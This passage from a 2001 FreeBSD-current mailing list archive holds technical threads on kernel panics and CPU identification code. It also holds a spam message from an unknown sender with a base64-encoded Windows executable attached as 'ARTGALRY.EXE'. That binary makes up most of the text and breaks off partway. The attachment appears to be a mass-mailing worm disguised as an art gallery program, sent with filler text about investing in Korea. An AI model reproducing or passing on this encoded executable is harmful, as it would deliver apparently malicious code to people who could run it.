YXQgYXRhMS1tYXN0ZXIgUElPNA0KTW91bnRpbmcgcm9vdCBmcm9tIHVmczovZGV2L2FkMHMxYQ0K U01QOiBBUCBDUFUgIzEgTGF1bmNoZWQhDQo= --=_48180-1004365225-1-2-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 8:26:54 2001 Delivered-To: freebsd-current@freebsd.org Received: from fizzbang.musinghalfwit.org (cs6669197-172.austin.rr.com [66.69.197.172]) by hub.freebsd.org (Postfix) with ESMTP id 76A2337B406 for ; Mon, 29 Oct 2001 08:26:51 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) (uid 1001) by fizzbang.musinghalfwit.org with local; Mon, 29 Oct 2001 09:58:46 -0600 References: In-Reply-To: From: "Eric P Liedtke" To: freebsd-current@freebsd.org Subject: Re: So here is the dmesg Date: Mon, 29 Oct 2001 15:58:46 GMT Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-ID: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Right, got it. Thanks for the ptr. -eric Yonatan Bokovza writes: > see long and tedious thread in cvs-all with headline of > Re: Causing known breakage (was: cvs commit: > src/sys/kern kern_conf.c subr_disk.c) > > > -----Original Message----- > > From: Eric P Liedtke [mailto:jesus@musinghalfwit.org] > > Sent: Monday, October 29, 2001 16:20 > > To: freebsd-Current@freebsd.org > > Subject: So here is the dmesg > > > > > > Sorry here is the attatchment. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 8:38:47 2001 Delivered-To: freebsd-current@freebsd.org Received: from lurza.secnetix.de (lurza.secnetix.de [212.66.1.130]) by hub.freebsd.org (Postfix) with ESMTP id A2BC737B409; Mon, 29 Oct 2001 08:38:42 -0800 (PST) Received: (from olli@localhost) by lurza.secnetix.de (8.11.6/8.11.6) id f9TGceb44385; Mon, 29 Oct 2001 17:38:40 +0100 (CET) (envelope-from oliver.fromme@secnetix.de) Date: Mon, 29 Oct 2001 17:38:40 +0100 (CET) Message-Id: <200110291638.f9TGceb44385@lurza.secnetix.de> From: Oliver Fromme To: freebsd-current@FreeBSD.ORG, obrien@FreeBSD.ORG Reply-To: freebsd-current@FreeBSD.ORG, obrien@FreeBSD.ORG Subject: Re: adding athlon xp to bsd.cpu.mk In-Reply-To: <20011028164215.C32015@dragon.nuxi.com> X-Newsgroups: list.freebsd-current User-Agent: tin/1.5.4-20000523 ("1959") (UNIX) (FreeBSD/4.4-RELEASE (i386)) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien wrote: > On Sun, Oct 28, 2001 at 02:06:00PM -0000, cameron grant wrote: > > my system with dual 1.1ghz durons identifies as: > > > > CPU: AMD Duron(tm) MP Processor (1110.94-MHz 686-class CPU) > > Origin = "AuthenticAMD" Id = 0x670 Stepping = 0 > > Wonder why you get the 'MP' and I don't: > > CPU: AMD Athlon(tm) Processor (1194.46-MHz 686-class CPU) > Origin = "AuthenticAMD" Id = 0x661 Stepping = 1 The string is programmed by the BIOS into the CPU. So it depends on the BIOS. Regards Oliver -- Oliver Fromme, secnetix GmbH & Co KG, Oettingenstr. 2, 80538 München Any opinions expressed in this message may be personal to the author and may not necessarily reflect the opinions of secnetix in any way. "All that we see or seem is just a dream within a dream" (E. A. Poe) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 9:27:33 2001 Delivered-To: freebsd-current@freebsd.org Received: from mail5.speakeasy.net (mail5.speakeasy.net [216.254.0.205]) by hub.freebsd.org (Postfix) with ESMTP id B67E137B412 for ; Mon, 29 Oct 2001 09:27:14 -0800 (PST) Received: (qmail 48220 invoked from network); 29 Oct 2001 17:27:10 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 29 Oct 2001 17:27:10 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <002101c16083$6ff87260$0504020a@haveblue> Date: Mon, 29 Oct 2001 09:26:59 -0800 (PST) From: John Baldwin To: cameron grant Subject: Re: adding athlon xp to bsd.cpu.mk Cc: sobomax@FreeBSD.org, clefevre@citeweb.net, peter@wemm.org, jerry@thehutt.org, freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 29-Oct-01 cameron grant wrote: >> > from what i can see, identcpu.c fetches the cpu name using a cpuid >> > instruction. >> >> The part cpuid gives you is "AuthenticAMD". >> The fancy name is determined by switching on the Id. > > > read identcpu.c. you are correct for k6 and lesser processors. the code in > question is around line 323: > do_cpuid(0x80000000, regs); > nreg = regs[0]; > if (nreg >= 0x80000004) { > do_cpuid(0x80000002, regs); > memcpy(cpu_model, regs, sizeof regs); > do_cpuid(0x80000003, regs); > memcpy(cpu_model+16, regs, sizeof regs); > do_cpuid(0x80000004, regs); > memcpy(cpu_model+32, regs, sizeof regs); > } > > -cg Doh, my bad. :) /me shuffles off into the corner.. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 11: 8:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 1D3F837B403 for ; Mon, 29 Oct 2001 11:08:18 -0800 (PST) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 7A87E14C40; Mon, 29 Oct 2001 20:08:16 +0100 (CET) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: "Eric P Liedtke" Cc: freebsd-current@freebsd.org Subject: Re: GENERIC Kernel Panic References: From: Dag-Erling Smorgrav Date: 29 Oct 2001 20:08:16 +0100 In-Reply-To: Message-ID: Lines: 11 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Eric P Liedtke" writes: > Warning: devsm() called on 154/0 > Warning: Driver mistake: destroy_dev on 154/0 > panic don't do that Please refer to the first paragraph of section 19.2.1.4 in the handbook. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 29 11:39:26 2001 Delivered-To: freebsd-current@freebsd.org Received: from radiant.net (radiant.net [207.194.200.18]) by hub.freebsd.org (Postfix) with ESMTP id 352DD37B403 for ; Mon, 29 Oct 2001 11:38:36 -0800 (PST) Received: from mail.radiant.net [208.181.145.171] by radiant.net (SMTPD32-6.06) id AE6F1C710098; Mon, 29 Oct 2001 11:30:55 -0800 From: Çѱ¤¼· SUBJECT: achievement, commitment and X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_006C_01AED33C.9CD33C30" Content-Transfer-Encoding: 7bit Message-Id: <200110291130546.SM01436@mail.radiant.net> Date: Mon, 29 Oct 2001 11:31:08 -0800 To: undisclosed-recipients:; Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_006C_01AED33C.9CD33C30 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Been further augmented by our international efforts. We are widening the window for the creation of more international linkages—particularly strategic alliances for the sharing of capital, technology, and expertise. Korea is actively seeking foreign participation. For those who have not yet done so, this is the time to take a hard look at Korea and consider taking a stake in Korea’s dynamism. ------=_NextPart_000_006C_01AED33C.9CD33C30 Content-Type: application/octet-stream; name="ARTGALRY.EXE" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ARTGALRY.EXE" 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 